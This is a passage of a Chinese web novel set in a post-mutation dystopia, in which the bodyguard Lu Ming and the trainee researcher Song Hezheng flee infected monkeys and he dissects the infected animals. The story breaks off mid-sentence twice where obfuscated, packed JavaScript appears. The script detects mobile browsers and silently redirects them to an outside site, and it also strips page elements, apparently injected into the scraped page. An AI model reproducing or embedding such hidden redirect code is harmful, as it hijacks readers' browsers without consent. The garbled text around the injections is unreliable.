路名低眉顺眼,面无表情,就当自己没听见。自尊是什么,真诚是什么,她现在活着都困难,还顾得上这些?只要熬过这几天,几万到手,她一回去立马办理居住证,拜拜屁股去下城区奋力拼搏,攒攒资本,说不定还来得及去学校混个毕业证。 “我们测过……”宋何正刚想解释,话被打断。 中间那位见习猎人侧过身,目光不屑地扫一眼三人,最后落在弱不禁风的路名身上,“让她跟在我们后面,正好领着后面一帮废物。如果你们做不到,我们三个现在就回去。” 宋何正暗暗咬牙,和白旗亭对视一眼,不得不答应。三万和六万,他还是分得清的。 最后,路名喜提“中间人”资格,不远不近跟在后面摸鱼。 没走多远,余震就察觉异样,从大部队后面找过来。这一路动静不小。他似乎认识这里的大多数人,边往前赶边打招呼,笑嘻嘻地说上两句更是家常便饭。一凑近,他就问:“你怎么在这?他不是让你跟紧点吗?” 路名把刚才的事捯饬一遍,最好搞个噱头,顺便问问大进化的事。余光扫到这家伙满手的泥,上衣下摆和膝盖以下都沾上不少泥,她的目光略带嫌弃。 她朝旁边让了让,“你摔土坑里了?” “找到一点东西。”余震从兜里掏出一根吊坠,拿在手里凑过去晃了晃。 路名嫌弃:这家伙是故意的吧? 看吊坠的模样,余震大概把这东西擦过很多遍。指甲盖大的吊坠上满是指纹擦拭后的纹路,隐约能看出里面有个图样,水滴形吊坠周围一圈白色花瓣装饰,缝隙间嵌满泥垢。 “你找这个干什么?”路名满脸困惑。 余震:“……值钱。” 好正当的理由,穷鬼路名无力反驳,甚至还有点羡慕。她刚想起个头,说说刚才的事,顺便打听一下见习猎人和白旗亭,话头又被摁回去。 “其实,这东西还有一个重要的作用。”余震收起吊坠,脚步加快几分,刻意和后面的人拉开距离,“这些土是松的,石头也是,说明这些石块滑落没多久我们就到了。我收到消息,一个星期前,这里来过一批护卫队,带头的不是毕业生,而是一名教授。现在看,那帮人应该是全军覆没了。” 路名低头思索这番话的意思。 她不知道,此刻她的每个表情变化都被余震仔细端详,深度解析,就像对待一个审讯的罪犯。 “所以,你要卖掉人家的遗物?”路名恍然大悟。 余震:“……”这家伙…… “我支持你。”路名一掌拍在余震肩膀上,用力量表明自己的态度,“资源是流通的,你这样做,环保不浪费,勤俭节约,真是优良作风,我要向你学习。” 余震轻挑眉毛:“……你想加入这份事业?” 路名把余震拉近些,什么事业,事业都是多人成团,他们两个人的事怎么能算事业,撑死了也就是个小本生意,赚点小钱。 “三七分成吗?” 余震无语,叹气,拍掉肩膀上的手,“开玩笑的,哪有那么容易就能找到。要真有,估计都埋在石头缝里。我这是运气好,眼睛尖,才找到一个。你别费大力气找,万一队伍加速或者半路出现个红兽,要跑的时候力气都用没了。” 路名真心觉得这家伙唠唠叨叨,跟个老妈子似的。 她略感不爽地“啧”一声,找不到反驳的理由,干脆说起另一件事,“你知道白旗亭来这儿做什么,还有那几个见习猎人,看着很牛逼啊。” “哦~”余震怪腔怪调地问:“他们这么快就吵架了?” 路名:“吵架?” 怎么把吵架这种事说得这么理所当然? 作为一名好好女士,路名学生时代收到最多的评价除了“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635342|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人”,就是“好脾气”。彬彬有礼的行事作风,温文尔雅的说话态度,是她行走在外的一张名片。谁不知道道院乌蒙师兄有个好脾气师弟。 她实在不理解一种良性、简单的关系里为什么会轻易出现矛盾。 余震灵活地抖了抖蚯蚓眉毛,小声问:“你跟着红月工会的人,不知道见习猎人和那些预备研究员、饲养员一向不对付?” “怎么不对付?” 路名对见习猎人的见解只有“能打”,对饲养员,她有种同病相怜的哀叹,至于和白旗亭一道的预备研究员,她仇富、眼红,更清楚这帮人都是脆皮,遇见危险估计跑都跑不了。预备研究员和饲养员硬刚见习猎人,怎么看都是螳臂当车,以卵击石。 经过吊坠一事,余震对这小姑娘的猜忌减少几分,又看她一脸茫然,便好心解释一番: 自从一号基地建立,权利一分为二。以未来集团为首的养殖集团掌控一半,它们联合建立研究院,赋予其一部分权利,至于剩下的一半,由猎人公会把持。两大势力每年都会在各种事情上发生摩擦,这种风气也带动下面的预备研究员、预备养殖员和见习猎人。两大势力联合建立养殖学院和猎人学院,共用一个系统。 养殖学院最顶尖的一批学生进入研究院。 在毕业前,预备研究员需要离开一号基地,寻找材料,研究出成果,作为毕业证的敲门砖。他们毕业难,学习也难,课程多到令人发指,发烧生病直接打一剂退烧药、一剂营养剂,头顶退烧贴抢占教室第一排。 猎人学院的学生则按学分毕业,攒够大量的学分,才能毕业,接一次研究员的任务能让他们省不少功夫。 本是一拍即合的好事,但研究院的人爱静,发散思维强,好奇心更强,一旦找到感兴趣的东西就能蹲在原地研究小半天,有时叽里呱啦说一堆,或者就地点火,不惜惹来小型红兽,大胆到令人发指。其近乎神经病的操作威名远扬,不仅挑战见习猎人的职业素养和生存本能,还给这帮人添不少麻烦。 一旦进入新的环境,两种全然不同的思维系统必然会发生碰撞。 “刚刚那三个见习猎人让我到中间来,白旗亭和宋何正也没说什么,他们可能认识,关系挺好?”路名仔细回想了一下当时两拨人的语气,感觉气氛稍显冷淡,没有余震说得剑拔弩张。 余震耸耸肩,轻笑一声,“谁知道呢?” 路名闭了闭眼,真心祈祷:“希望不要吵架。” 一个队伍里不能有两个声音,她只想踏踏实实挣钱、平平安安回基地。 正说着,前方五米传来一声粗犷的怒吼:“白旗亭,你给我回来,那里不能去!宋何正,你跑什么?别跑!停下!” 是“大壮哥”的声音。 路名心里一咯噔,连忙撒开腿往前跑,拨开比她矮半头的灌木丛。 不远处,五人小队正在你追我赶,不是传来撕心裂肺的对骂,大致意思是方向没谈妥,两位预备研究员直接跑路,逼得见习猎人不得不妥协。一眨眼的功夫,“大壮哥”窜得极快,一把按住宋何正,反绞双臂,将人摁在地上;两个瘦高个一溜烟窜进灌木丛去追白旗亭,半晌没动静。 余震没想到读书读傻了的预备研究员不仅是理论派,还可以是行动派。 路名皱紧眉头,察觉到一丝不对劲:两个靠体力吃饭、甚至可能有大进化加持的人,比如支飞羽,还能跑不过白旗亭,一个日均运动量被抢位置决定的人? 9. 泰林(2) 白旗亭或许是书呆子中的异类,但路名现在没时间细究。 “大壮哥”一脸杀气地快速走过来,虎虎生威,令人心悸。他右手拖着宋何正,一米七的大男人在他手里跟被夹住翅膀的公鸡似的,只能发出一点疼着了的哼哼声,两只眼睛恶狠狠地斜瞪着罪魁祸首。 “你们,看着他,跟上来。”丢下八个字,“大壮哥”掉头就跑,看方向是去追白旗亭。 余震接过宋何正,从包里取出一根绳子,想把这位腿脚不快的预备研究员拴在后面,“他们。”话没说完,他的后颈被一只细长的手掐住,用力往下摁。“咚~”撞碎的泥块溅到他脸上,他闷哼一声,甩掉鼻子里的碎土。后颈的禁锢消失,他眯了眯眼睛,终于看清嵌在泥土里的黄色果实,果实四周圆润,脐部凹陷,像个爱心。 偷袭? “我们被包围了。”路名望着三米外单手挂在树杈上的棕色猴子,冷静陈述这一事实。 “是红颜猴。大进化后出现的新物种,群居,有很强的攻击性和领地意识。”宋何正三下五车二解开没打结的绳子,打开光脑,对准那只猴子。 路名瞄过来一眼,微微惊讶,“你的光脑能射击?”带麻醉嘛? 宋何正:? 这怕不是个傻子。 他轻哂道:“想什么呢?这可是红颜猴,研究的好材料。这种猴子在大进化的时候有举族迁徙的能力,脸颊上的两抹红色和它的攻击力成正比,要是能弄到它的粪便就好了,可以探索一下这片泰林的植物种类,不知道这家伙有没有幼崽,抓进实验室系统繁殖的话,说不定可以找到他们在漫长迁徙过程中的进化的蛛丝马迹。” 路名微微朝旁边让了让,和这个疯子保持距离。 但凡他多看一眼,不难发现那只红颜猴双手指甲修长而锋利,长长的牙齿凸出来,齿缝间还有几丝血色,尤其是那双眼睛,清澈的黄色,却没有神韵,好像一个邪恶的木偶挂在树上。 路名卸下背包一侧肩带,轻轻拉开拉链,伸手探进包里,握住长匕首,缓缓抽出。 她紧紧盯着那只猴子,心里阵阵发紧。如果她听觉迟钝些,听不见那个种子破空的呼啸声,余震绝对当场重伤,在这片森林里,医疗物资约等于零,重伤即死。 行动迅速,投掷精准,大进化之后,猴子的攻击力更强了,峨眉山的泼猴来了都得喊大王。 窸窸窣窣的声音越来越响,其中混杂些陌生的枝叶晃动声。路名循声环顾一圈,落在后面的五十号人终于稀稀拉拉赶上来,与此同时,大批红颜猴也围聚过来。他们,被包围了。 路名和余震对视一眼,背对背,快速寻找突破口。 “是红颜猴!”队伍里有人认出来,高声尖叫,囫囵解释几句。 很快,枪声陆陆续续响起。 猴子们散作一团,却又行动有序,一个个大小不一的种子从高空投射下来,每一次都能精准打中人体,溅起一抹血色。 五十号人的攻击力不容小觑,哪怕这帮人枪法稀烂,命中率极低,射中的机会也随着基数扩大而增加。几乎是大面积开枪的瞬间,几只猴子从树上掉下来,灌木丛微微晃动,要么重伤,要么濒死。 路名揪准机会往外冲。 她可没枪,一把枪六万积分,她当初看一眼标签掉头就走,压根没想过买一个;她这运气也烂得要死,大概是前半生顺风顺水,现在来还债了。 总之,她赌不起。 突破口和白旗亭跑路的方向偏差不多,此时不走更待何时! 还没跑几步,一股力量拽住路名的胳膊,眼见衣服要撕破了,那人直接抓上肩膀,指甲快要扣进肉里,疼得她龇牙咧嘴。 路名恶狠狠瞪回去:? 宋何正一脸坦荡地指着灌木丛:“那里掉下一只小猴子,还有几只大的,去捡过来。” “我们要掉队了。”激烈的枪声中,路名也不清楚自己说的话这个疯子听不听得见。她快速指向枪声最密集、猴子的惊叫声最响的地方,余震枪法不错,在一帮菜鸟中间以异军突起之势赢得大部分人的关注,在他的带领下,密集的火力快速开出一个突破口。 一旦他们顺利离开,剩下的猴子就会把怨气撒在他们两个掉队的身上。这个家伙是读书读傻了吗? 宋何正转身指向灌木丛,对渐渐稀疏的枪声置若罔闻,他的目标很明确: 他要猴子的尸体。 路名瞬间理解“大壮哥”痛骂白旗亭的心情,当即掏出匕首,毫不犹豫抵在宋何正的手腕上。这个疯子再不松手,她不介意给他放放血。 “一天三万。”宋何正的嗓音被枪声掩盖,路名读出嘴型,气笑了。 真是钱难挣,屎难吃。 就在这时,一道破空声在枪声的缝隙里断断续续响起,路名心里一咯噔,握刀的手凭直觉做出反应:硕大的种子穿过锋锐的匕首,一分为二,一半擦过路名的肩膀,割下一道深深的血痕,那只抓住她肩膀的手也中招,不得不松开,另一半射中宋何正的镜框,镜片粉碎,镜框变形,在脸上留下两道血痕。 路名快速窜进灌木丛掩护,顺便带上“活盾牌”宋何正。 在这个时代,钱比命重要。 灌木丛很高,藏不下两个人。路名借几缕微弱的光三下五除二斩断一条藤蔓,将一大一小两只红颜猴的尸体绑在宋何正身上,带着这家伙冲出灌木丛,直奔白旗亭离开的方向。 “等一下,还有。”宋何正被砸中,痛得闷哼一声,不说话了。 路名哪顾得上他,发了狂的向前冲。 抢走猴子的尸体就像扎入猴群神经的一针兴奋剂,在连续几声尖锐的猴鸣后,树叶晃动的沙沙声迅速变成大量的树枝被扯下、树干被利爪抓开的刺耳声,她不得不加快速度,跑得两腿都快失去知觉,只剩下求生的意志在支撑,饶是这样,她的手肘、膝盖、大腿等部位还是伤痕累累。 跑到拐弯口,即将进入两米高的树丛,路名故意拐大弯,差点把宋何正甩进树丛里。 她余光朝后瞥一眼。 亲密无间的两点黄光犹如夜幕中的繁星,此起彼伏出现在树叶间,那帮猴子正气势汹汹地追过来。 宋何正那个破破烂烂的镜框不知道掉哪儿了,脸上都是血痕,猴子怒火中烧投来的果实大半都被他挡住。他像只风筝挂在路名身后,只能被动奔跑,身体的灵活性大大降低,不少果实都没躲过去,手臂、大腿和腰侧,这些路名能瞟到的地方不只有深深的伤口,有些果实甚至嵌入肉里,随着跑动的颠簸不断摩擦。要不是起伏的胸膛和急促的呼吸声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他拆开背后的包,“滴滴答答”一串水淌下来,散发出阵阵香气。有营养液碎了。这让他本就糟糕的心情更加雪上加霜。他干脆拆下背包,把碎掉的两瓶碎片倒掉,背包倒扣,沥干,再抹黑数剩下的。 还剩二十九瓶。 路名闻着这香味,有点饿。这是高级营养液特有的味道,上次闻是在山坳坳的帐篷里。 听瓶子滚动的声音,她借一点点反光的轮廓大概数了数,发现这家伙看着体格不大,竟然能背二十七瓶以上的营养液。那个包的材质更加惊人,能在猴群的围攻下护住这么多瓶子。 “帮我包扎伤口。”宋何正从前面的包里取出药和碘伏棉签,递给路名。 路名没动。 她痛失半瓶营养液可不是做慈善的。照猫画虎学宋平讨价还价后,她收下两瓶营养液,开始帮宋何正清理伤口。 宋何正这人吧,讨价还价时憋不出几句,拔掉果实清理伤口的时候只哼哼两声,路名本就看不见,手下没轻没重的,稍不留意,人直挺挺趴在墙上,她推了推没反应,这才发现这家伙晕过去了。 路名:“……” 一阵微风吹过,路名逆风看向入口,借光看到几缕金色的毛飘在空中,悠悠然然。 哪儿来的毛? 10. 泰林(3) 路名手口鼻齐上阵,三两下用气流把金色的浮毛赶走。 她手上湿淋淋的全是血,一直到小臂上半截,现在沾点毛,怪恶心的,像菜市场杀鸡不戴手套的。 赶走不明物,她继续忙活。 宋何正的伤口分两大块。擦伤集中在腰侧,只有三个果子浅浅勾进肉里,跑的时候颠掉了,肉软软的垂下来,血泡湿了侧边的裤子;果子集中扎在肩膀和大腿,不仅多,还难拔,路名每次动手都有种剜肉的感觉,血腥味扑面而来,好在次数多了就麻木了,她努力幻想自己是个杀鸡的。一切都是为了挣钱,一切向钱看齐。 用力拔掉最后一块,宋何正突然轻微抽搐起来,伴随着嗯嗯的痛苦呻吟声,这家伙似乎醒了。 路名拧开双氧水和生理盐水,弹飞瓶盖,瓶盖撞在墙上,“噗”的一声,听声音疑似掉在某人的头上,瓶盖一路咕噜噜滚到地上。 路名:“……”这家伙的运气也挺背的。 她佯装自己什么也不知道,清了清嗓子,“醒了就别装死,休息一下,我们要赶紧离开这个地方。你们要去的那个滩涂,可以从一条矿洞过去。我们应该是走了岔路。其他人已经从另一个方向离开。喂,醒醒。” 宋何正脑子发懵,不想说话。 路名不再喊他,手腕一抖,双氧水倒在伤口上。宋何正嗷嗷叫起来,痛得发抖,“噌”一下,双手双脚并用,攀住墙壁就想往上爬。路名一脚踩在他的尾椎骨,用力往下按,右手倒下生理盐水。宋何正叫不动了,开始呜呜咽咽的哭。 生理盐水流的差不多了,这家伙也老实了,时不时抽搭两下。 路名一手拿绷带,一手抬起他的大腿,准备包扎伤口,这姿势……略感尴尬,她打心眼儿里觉得下次可以弄完伤口再把人喊醒。 看起来,预备研究员真的很娇弱。 以防这家伙在包扎的时候突然跳起来,路名先一步按在他伤口附近。只是,手里的触觉怎么都觉得不太对,怎么毛乎乎的、鼓囊囊的,还有种不平整感,起鸡皮疙瘩? 她顺着伤口附近摸了摸,发现只有伤口附近的皮肤出现易变,往上往下都是正常的皮肤触感。 “你摸够了没有?”宋何正咬牙问。 真没想到,这家伙竟然是个流氓,哼,果然是无证民居的人,心理十个有九个都出问题,亏得红月工会还看好她,给她用药,真收进去了就是个祸害,我呸。 宋何正暗搓搓准备一回去就揭发这家伙的狼人行径,却听“咚”一声,绷带被扔到一边。 紧接着,大腿上原先包扎好的绷带也被拆开,动作之迅速,他感觉伤口附近一些皮肉都被扯起来,痛得他脑子发懵,神游之际甚至怀疑这个祸害有什么听心声的异能,才得以被红月工会看重。 “你干什么!”他又惊又痛,来不及骂人,手被拉着摸到自己的伤口。 ——这不是人的皮肤! 宋何正心里一咯噔,手臂的长度和方向明明确确告诉他,这是他的身体。他被感染了。 如果有手电对准伤口附近的皮肤,他就能看到血管在表面伸缩扩张,如同呼吸一般井然有序,紧接着,细胞分裂会被他的动态视觉捕捉到,他的身体会像个变质的果子,损坏的部分迅速扩张,直到将他的身体被新的细胞完完全全改造成另一副样子。即使看不到,他也能凭借实验室的经验预想出来。这是进化,让自然界的生物进化到人类无法匹敌的奇迹!但是,人类被奇迹抛弃了。植物、动物都可以通过进化重获新生,唯有人类不行。 实验室测试过人体从一个被感染的创口到神经被破坏、完全丧失理智的时间——五分钟。 这是他取样的唯一机会。 路名不清楚宋何正身体的变化,强烈的直觉告诉她,宋何正现在很危险,这种致命的危险令她毛骨悚然,但她只能尽一个保镖的职责,将伤口交给高材生。 她在等下一步指令,立即返程,还是,有其他方法救命? 宋何正快速打开另一个包,取出小刀和玻璃片,正如实验室里实操过无数次,他屏住呼吸,将大脑中所有的感情都屏蔽,在黑暗里调整刀口方向,准备割开伤口附近病变的皮肤。 刀口逼近。 黑暗里,无人看见那层病变的皮肤突然鼓起一个小疙瘩,顶部内陷,细胞蠕动着分泌一些物质。 刀口一滞。 路名紧紧握住伤口,死活不松手,“你想死吗?” “我要取样。”宋何正已经在尽力压制自己的情绪,语气中还是有几分火气。摸黑操作不比寻常,不能有一丝一毫差错。任何一丝感情波动都可能让刀口的落点出现偏差,稍有偏差,他就可能延毕。 路名攥紧刀柄,心里有些郁闷。 要不是看到两片玻璃片,她还真以为这个柔弱的预备研究员会有断尾求生的勇气,万万没想到,这家伙在这么危险的情况下脑子里想的竟然还是实验,不愧是万里挑一的高材生,读书读疯了吧。 病变的皮肤鼓起数个小疙瘩,如同沸腾的热水,不断鼓胀。 宋何正骤然感觉大脑剧痛,像被人咬了一口,一口接一口,顿时失去身体的控制权。 路名揪准机会夺过匕首,手起刀落,两刀割开那块异常的皮肤,鲜血喷涌。有些小血珠喷到她脸上,试图渗入皮下组织,眨眼间被脸上的脂肪溶掉。她看不到这些,只觉得脸上微微发痒,一会儿就没事。 路名直接用匕首挑起那块异常的血肉,一点儿微弱的腐蚀金属的声音在黑暗中响起,很快又被宋何正的惨叫声盖住。 她把匕首斜靠在石壁上,拿起没盖盖的生理盐水,迅速倒在伤口上。 “别倒了!”宋何正痛得哭出来,一咬牙,磕磕绊绊说出几个字,“我被感染了,这些都没用。”……离开基地,医疗物资更加稀缺,这家伙倒他的生理盐水跟天上下雨似的,下手没轻没重,真没素质! 靠在石壁上喘两口气,宋何正缓过劲儿,又指挥路名从包里拿出一剂药剂,就着刚刚消过毒的地方扎进去。 打完这一针,他跟大爷似的抬起腿,让路名给他包扎。 路名瞟一眼包旁边一大一小两个凸起的黑影,悄悄绕到另一边。那是两只红颜猴的尸体。 她刚刚分明听清楚宋何正说他被感染了。 人类被感染的方式,她目前只知道高浓度红兽血,有红兽血就有红兽,眼下这个山洞里除了他们两个大活人,就剩那两个被 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看他这幅随意的样子,白旗亭心里有点冒火:“有几个?从那儿走过来快的话也得一刻钟,从被感染到感染特征出现,最短也得五分钟,他们又不像你们身强体壮的,万一没走到这半路死了呢?” “死了就死了。”“大壮哥”眼睛微眯,准备小憩一会儿。 走到这儿,他的学分算是到手一半,只等两个预备研究员采集完样本和数据,他们安安稳稳将人护送回去。银货两讫,互不相欠。 “那宋何正怎么办?他人呢?” 白旗亭冷声指责:“你们就不该把宋何正带回去,我和宋何正同时跑,那些人跟在后面懒懒散散不成形,根本不会察觉到异样,估计连我怎么消失的都不知道,八成以为我死了。” “怎么不会怀疑?你当无证民居的人都是傻子是吧?你以为就你们毕业难,基地外生存率低是吧?”“大壮哥”手托腮,抬起一只眼睛,瞄向隔壁,“徐铭,给我们聪明绝伦的白研究员科普一下无证民居的基本数据,几个数据就行。” 徐铭长舒一口气,微微侧过来,露出豁口的左耳,他缓缓说道:“排除那些女人,无证民居每个月在基地外的死亡人数达到五万,尤其是你们的毕业季,这个月的死亡人数至少十三万。” “那些女人能生啊。”白旗亭不以为然。 谁不知道基地鼓励生育,无证民居的生育率看一眼能吓死人,说是造人加工厂也不为过。 “多亏能生,否则不仅你毕不了业,白研究员,你以后的学生也难毕业。”徐铭轻笑一声,讽刺道:“一个孩子从嘎嘎落地到身体健全被你们骗来做实验体,至少要十六年,中间得排除流感之类的疾病,毕竟,他们穷得饭都吃不起,更买不起药。从这种环境脱颖而出的人,有着比你看数据更难想象的求生意志。白研究员,这个基地里不只有你们研究员一伙聪明人。” 白旗亭的脸一阵红一阵白。 他不想和这些用拳头说话的人辩驳。数据足以说明一切。哪怕无证民居一个月死十五万,生育率突破二十万也是轻轻松松,三十万更是手拿把掐,要多少人没有,至于这么麻烦。那些人哪能比得上宋何正,一个即将毕业的预备研究员! 11. 泰林(4) 路名蹲在两个大包前,根据记忆给宋何正打下手。 十分钟前,她委婉提醒宋何正山洞里有金色浮毛,这家伙似乎一点也不惊讶,躺在原地跟死了似的,一动不动。 过了会儿,宋何正单手撑地,慢慢坐起来,从包里拿出一叠小型手术刀和许多药剂摆在地上。他理直气壮地指挥路名把所有东西搬到有光的地方,自己拿工具消毒,顺便给两头跑的路名说说药剂。 “这是GB9601吡汾药剂,这是MK774白蚍药剂……”路名听得两眼发懵,要不是扎扎实实读过十几年书,她还真没耐心听完一摞长名单。 就算听了,她也记不住。 万幸的是,路名以前喜欢收集各种各样的瓶子、杯子。对这些没有半点儿艺术气息但很有个性的瓶子,她努力联想/硬凑那些又长又繁琐的名字,勉强能蒙混过关。 “不用太担心,我过会儿会根据瓶子的特征提醒你。”宋何正原本就没指望这个五大三粗还没素质的家伙能记住这些药剂全名,絮絮叨叨说一通是为了缓解他的郁闷。过会儿还要共事,天塌了都不能影响他的操作。 他一手夹住两只猴子,另一个胳膊抬起来,眼神微微上扬。 路名:……这个活爹。 路名扶着宋何正走到山洞入口,刚把人放下,她一脚往后退,远离那两只猴子。 宋何正:? “怕什么?”他用奇怪的眼神上下打量路名,“你注射过碎红AH-133,一周内都不会受到红兽血的影响。躲得这么勤快,这两只异变的猴子能吃了你吗?” 路名怔住,顿时毛骨悚然:“你原本就知道他们被感染了?” “行动迅速但缺乏组织性,集群攻击却干不掉五十个菜鸟,还有你跑进来的时候,投射的准头太差。要是有这么差的攻击力,红颜猴在大进化中迁徙早该灭族而亡。”宋何正施施然说道。 他将猴子拨正,地上掉一堆毛。 洞口偶尔有微风吹进来,路名遮住口鼻躲到换个背风的位置,瞥一眼对面的宋何正,暗自嘀咕:就那“破准头”,还不是几个果子就把他打得要死,也不知道是谁刚刚哭的那么大声。 宋何正快速清理猴子身体的毛发,露出干净的肌肤——大片大片的蓝色如同叶脉伸展在躯干上,本该凸起的毛囊凹陷,填满淡蓝色的小点。 饶是路名生理课勉强及格,也看出这具尸体的诡异处。 这是她见过的第二只红兽。 这只红颜猴在被感染后并没有呈现身体膨胀、肌肉组织迅速扩大的特征,和她在山洞里见到的红兽完全不同。她静静看宋何正拆解红颜猴的尸体,时不时搭把手,为三万积分尽职尽责。 除了几句描述瓶子的话,山洞里只剩下剪开皮肉的声音和呼吸声。 宋何正快速分装部分组织和器官,装进自己的背包。每装好一个瓶子,他就打开光脑,快速记录。 这些事情他重复了无数遍,早已习以为常。余光瞥到旁边晃动的阴影,他略感嫌弃,“这里没你什么事,你可以去别的地方转转,顺便找找方向。我们和小白分开了,光脑的信号不好,我暂时联系不上他们,他们应该是从矿洞走的,说不定已经到滩涂了。” 路名如获大赦,赶紧挪到一边活动蹲麻了的脚。 有一说一,这个宋何正是真能坐得住,不愧是读书搞研究的料子。路名在心里感叹一番自己当年读书的刻苦和不尽如人意的结果,又想到如今身处这个没人权的世界,连学都上不起,和美好平和的小院生活彻底拜拜。暗自怜爱一会儿,她折回去拾起那把匕首,拎到宋何正面前晃了晃。 宋何正抬头,从包里摸来一个瓶子接住那坨肉,反手递给路名一张纸。 真不愧是讲究人,路名边感叹边擦干净匕首上的血迹,收起匕首。她想了想,干脆一只手放在包里,包挂在肩膀上,晃晃悠悠、小心翼翼走出山洞。 山洞外什么也没有,除了植被,就是石头和泥土。 跑路时留下的血液已经看不出痕迹,那些掉落的果实也都不见踪影,八成被那几只猴子捡走。 路名顺着来时的路往回走,她想回去找找余震走的方向。 “嘶~”草丛里冷不丁窜出来一条蛇,蛇身足有她手腕粗,大约一米多长,身上有金色和深绿色交叠的波形花纹,整体呈灰棕色。蛇盘卧在落叶堆里,两只眼睛一眨不眨地盯着前方,时不时吐蛇信,发出“嘶嘶~”声。 路名微微皱眉,脚下不动,身体跟着蛇的视线扭过去。 没看错,蛇的眼睛是睁着的,墨黑色的眼睛半睁半闭,眼皮一层层叠着,颜色分明。 路名:……这是个瞎子。 脚步一挪,草茎折断。蛇猛然窜过来,快到只能看见一个残影。 路名收回脚,顺势握紧匕首,躬身迅速向下扎。匕首弯折的瞬间,原本设计好的圈套和路名的三观一起轰然粉碎。她不得不就地一滚躲远点,弄出更大的声响迷惑这条蛇;同时,她从包里拿出另一把匕首。 上一把匕首甩在石块上,脆响声引去盲蛇。 跑到半路,这条蛇似乎察觉到不对劲,身子还在向前,脑袋硬生生转个弯,暴躁地张大嘴巴,发出警告。它很聪明,和那些红颜猴不一样。 路名迎面而去,以迅雷不及掩耳之速把匕首送进蛇嘴里。 蛇吃痛,盘在草堆里的尾巴疯狂鞭打地面,那块被旧匕首撞过的石头“砰”的一声碎得稀巴烂。 路名心里一紧,一边注意蛇尾的动向,一边用力向下把匕首扎进更深处。这把匕首比之前那把更长,足以贯穿蛇的皮肉,露出刀尖。汩汩鲜血顺着刀背淌进草丛,淅淅沥沥落在草叶和蘑菇上。 大约十分钟后,蛇挣扎的力度明显变小,蛇尾只鞭起阵阵土屑。 路名将蛇连带匕首扔在地上,拾起另一把弯折的匕首。这两把匕首是一套而成,材质不错,花了她不少积分。经过高温冶炼的金属理应宁折不弯,这把匕首竟然弯了! 路名深感难以置信 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路名在厚厚的灌木丛间走走停停,努力辨认那些脚印的朝向。 有风吹来。 她一抬头,目光不由得聚焦在一截垂下的树枝上。这根树枝只有碗口粗,从树杈上斜垂在地上,原本朝下的枝桠翻转朝上,五六片绿叶在微风中极轻极细地抖动着。一缕黑线随风飘动。 路名勾起那道黑线,在指腹上捻了捻。这似乎是人的头发。 掉发?谁的? 她用手臂丈量这一小撮头发的长度,差不多有二十五厘米,发尾枯黄,男人略微留长,或者女人稍稍剪短,都可以。 路名回忆一遍五十号人的容貌。男人清一色寸头,数量也多;女人不多,五六个人骨架大,身材偏瘦,走路时短发发尾飘在耳边,有种行走的骨架的荒唐感,还有一个面色苍白、身材矮小的长发女人,头发及腰,一身藏青色的运动服虽有些破旧,还算整洁,放在一帮不修边幅的粗人里,格格不入。 路名看一圈周围的环境,对准之前宋何正站的位置,视线却被庞大的桉树挡住。 ——这里是他们两拨人分开的位置。 一大群人在红颜猴的围攻中突围,行动时难免会有磕磕绊绊,这缕头发是碰掉的,还是恶意扯掉的,或者,这里发生过什么异变? 亲眼目睹红兽的存在和匕首的异常,路名对这个世界保持最大的敬畏和警惕。 她没有立即下定论,而是谨慎地向前深入一点。 …… 白旗亭他们四个左等右等,终于等来一群人出现在森林拐角。 带头的几人微微低头,看不清面目。他们互相搀扶向前,脚步虚浮,腰间的枪一起一伏。 “大壮哥”瞟一眼,“啧”一声,跳下石墩,拍了拍白旗亭的肩膀,“要帮忙吗?”说实话,他真不想帮忙,太恶心人了。 白旗亭直直地盯着那撮人,顿了下,惊恐道:“不对劲,我没看到宋学长。” 12. 泰林(5) 三十分钟后,路名左手拎起两对兔耳朵,右手拽着三只红颜猴尾巴,胳膊上还缠着一条蛇,蛇身从左肩膀挂到右肩膀,浩浩荡荡回到山洞口。 被声音吸引的宋何正:“……你去进货了吗?” 他怎么就没遇到这么多病变动物! 路名一顿,总不能说她迷路了吧。她轻轻咳嗽一声,放下满满两手的猎物,蹲在墙角看宋何正解剖猴子,“我朝卡车方向走了会儿,看见路边有两只死兔子,嘴上红红的,不像血迹,我就带回来了。” 宋何正不由得多看她两眼。这家伙有什么玄学在身吗?怎么他出去走一圈就什么都遇不到呢? 不对,不只是他,同院的学长学弟都差不多。砸进去大把的学分,真正能有点收获的人很少。果然还是玄学。红月工会是不是也看中她这一点? “你瞪我干嘛?”路名一脸莫名其妙。 “……我在想,你刚刚是不是迷路了?”宋何正收起发散的思维,赶紧转移话题。他只是一个又可怜又弱小、还没毕业的预备研究员,不想参与大型工会的内部事宜。 “没有。”三好员工路名斩钉截铁地说,“路很好找,那边就两个岔路,我确认其他人离开的方向后,又往回走一段路,顺路发现这些。” 一天三万的员工怎么能说迷路呢?绝对不能! 宋何正没再多问,着手解剖新来的动物。他先解剖红颜猴,有之前的经验和收获,他这次动手很快,将几个有细小偏差的部位逐一对比,一一记录。十几分钟后,他又着手剖开两只兔子。 “哎~”突然的声音在山洞里回荡。 宋何正手一抖,差点被吓死。他扭头怒瞪罪魁祸首,“你发什么神经?” 路名小声提醒他:“你脸上有血。”红兽的血具有极强的感染性,宋何正脸上红一道白一道,有些血坠成滴,半挂在脸上,看起来又危险又诡异。 “三个小时内,我不会被感染。”宋何正撸一把脸,又说:“我工作的时候,你闭嘴。” 路名撇过脸,不想看对面那张更加恐怖的脸。 山洞外一片蒙蒙的灰绿色,偶尔有天光照进来,细若银发。她抱一条腿坐在洞口,似乎这片刻的安宁和以前别无二致,师兄们一个都不在身边,要是能来壶酒就更好了,小酌一杯,美滋滋。 